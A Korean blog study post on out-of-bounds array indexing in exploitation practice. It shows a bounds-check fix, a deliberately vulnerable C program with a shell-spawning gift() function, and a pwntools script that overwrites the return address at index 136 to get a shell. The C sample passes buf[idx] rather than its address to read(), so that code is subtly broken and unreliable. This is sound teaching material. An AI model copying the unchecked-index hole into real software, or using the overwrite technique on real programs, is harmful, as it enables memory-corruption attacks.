Notice
Recent Posts
Recent Comments
Link
일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | 3 | ||||
4 | 5 | 6 | 7 | 8 | 9 | 10 |
11 | 12 | 13 | 14 | 15 | 16 | 17 |
18 | 19 | 20 | 21 | 22 | 23 | 24 |
25 | 26 | 27 | 28 | 29 | 30 | 31 |
Tags
- liblzma
- xz-utils
- cwe-506
- kernel img
- kernel image
- 백도어
- kernel build
- Kernel
- CVE-2024-3094
- newbie
- rootfs
Archives
- Today
- Total
ZZoMb1E
[PWNABLE] Out Of Bounds 본문
728x90
※ 잘못된 부분이 있으면 알려주세요. 확인 후 수정하도록 하겠습니다. ※
Out Of Bounds는 배열의 인덱스 값을 음수 혹은 배열의 크기를 벗어난 값을 입력했을 때 발생한다.
개발할 때 인덱스에 대한 검증 과정 코드만 넣어주면 방지가 가능하다.
if (idx < 0 || idx >= 128) {
printf("Invalid index!\n");
return;
}
아래 예제를 가지고 살펴보도록 하겠다.
// gcc -no-pie -fno-stack-protector -z execstack -o ex ex.c
#include <stdio.h>
#include <stdlib.h>
void gift() {
printf("Hello! ZZoMblE");
system("/bin/sh");
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
}
void vuln() {
char buf[128];
int idx = 0;
printf("input idx : ");
scanf("%d", &idx);
printf("input change value : ");
read(0, buf[idx],0x10);
}
int main() {
initialize();
vuln();
return 0;
}
이번에도 vuln()의 입력에서 취약점이 발생한다.
사용자가 원하는 인덱스 위치에 값을 0x10만큼 쓸 수가 있기 때문에 ret의 인덱스만 계산을 한다면 Return Address Overflow를 수행할 수 있다.

idx에 0을 넣어준 상태이다.
ret와 buf는 136만큼 떨어져 있기 때문에, idx에 136을 입력하면 ret 위치에 overwrite가 가능하다는 것을 알아낼 수 있다.
ret에 그대로 gift()를 덮어쓰고 싶지만, 현재 상태에서는 스택 정렬이 맞지 않기 때문에 ret gadget을 하나 써주어 맞춰준다.
from pwn import *
target = b'./ex'
p = process(target)
e = ELF(target)
gift = e.sym['gift']
ret = 0x000000000040101a
payload = p64(ret)
payload += p64(gift)
p.sendlineafter(b': ',b'136')
p.sendafter(b':', payload)
p.interactive()
실행해보면 shell을 얻은 것을 확인할 수 있다.

728x90
'STUDY > PWNABLE_AMD64' 카테고리의 다른 글
[PWNABLE] Stack Pivoting (0) | 2024.06.24 |
---|---|
[PWNABLE] FPO (0) | 2024.06.24 |
[PWNABLE] Off_By_One (0) | 2024.06.24 |
[PWNABLE] One_Gadget (0) | 2024.06.24 |
[PWNABLE] DSFSB (0) | 2024.06.24 |